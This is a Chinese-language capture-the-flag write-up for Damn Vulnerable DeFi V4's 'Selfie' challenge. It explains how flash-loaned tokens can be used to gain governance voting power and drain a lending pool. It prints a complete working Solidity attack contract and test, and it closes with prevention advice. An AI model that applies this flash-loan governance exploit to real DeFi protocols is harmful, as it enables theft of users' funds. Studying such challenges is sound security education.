Damn Vulnerable DeFi V4 解决方案 — #6. Selfie
此解释假定预先了解此挑战中的智能合约,并将专门关注漏洞分析。
挑战概述
一个新的借贷池已经启动!它现在提供 DVT 代币的闪电贷。它甚至包括一个花哨的治理机制来控制它。
有什么会出错,对吧?
你开始时没有 DVT 代币余额,而该池有 150 万的风险。
从池中救出所有资金,并将它们存入指定的恢复账户。
漏洞分析
我们看到的第一个漏洞是,该合约允许我们将其所有代币作为贷款借走。第二个根本问题是,治理机制没有区分代币持有者和仅暂时持有代币的账户(例如在闪电贷期间)。这造成了一个关键漏洞,即临时资本可用于影响具有永久后果的治理决策。
攻击流程借入大部分 DVT 代币的闪电贷使用这些临时持有的代币来自委托投票权排队一个治理提案,以使用他们控制的目标地址调用 emergencyExit()返回闪电贷的代币执行排队的动作来耗尽池解决方案
contract Drainer is IERC3156FlashBorrower {
SelfiePool pool;
SimpleGovernance governance;
DamnValuableVotes token;
address recovery;
uint256 actionId;
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
constructor(address _pool, address _governance, address _token, address _recovery) {
pool = SelfiePool(_pool);
governance = SimpleGovernance(_governance);
token = DamnValuableVotes(_token);
recovery = _recovery;
}
function startAttack() external {
uint256 amount = SelfiePool(pool).maxFlashLoan(address(token));
SelfiePool(pool).flashLoan(this, address(token), amount, "");
}
function onFlashLoan(
address sender,
address _token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
require(msg.sender == address(pool), "Pool is not sender");
require(sender == address(this), "Sender is not the owner");
token.delegate(address(this));
bytes memory payload = abi.encodeWithSignature("emergencyExit(address)", recovery);
actionId = governance.queueAction(address(pool), 0, payload);
token.approve(address(pool), amount);
return CALLBACK_SUCCESS;
}
function executeProposal() external {
governance.executeAction(actionId);
}
}
/**
* CODE YOUR SOLUTION HERE
* 在这里编写你的解决方案
*/
function test_selfie() public checkSolvedByPlayer {
Drainer drainer = new Drainer(address(pool), address(governance), address(token), recovery);
drainer.startAttack();
vm.warp(block.timestamp + 2 days);
drainer.executeProposal();
}
预防机制
该合约本可以实施基于时间的投票限制,其中代币必须持有最短期限(例如 7 天)才能获得投票权,或者可以替代地使用基于快照的治理,该治理在预定的区块号捕获代币余额,而不是使用实时余额。这两种方法都将确保只有长期代币持有者才能参与治理决策。
包含解决方案的 GitHub 存储库:
查看我的 X 个人资料: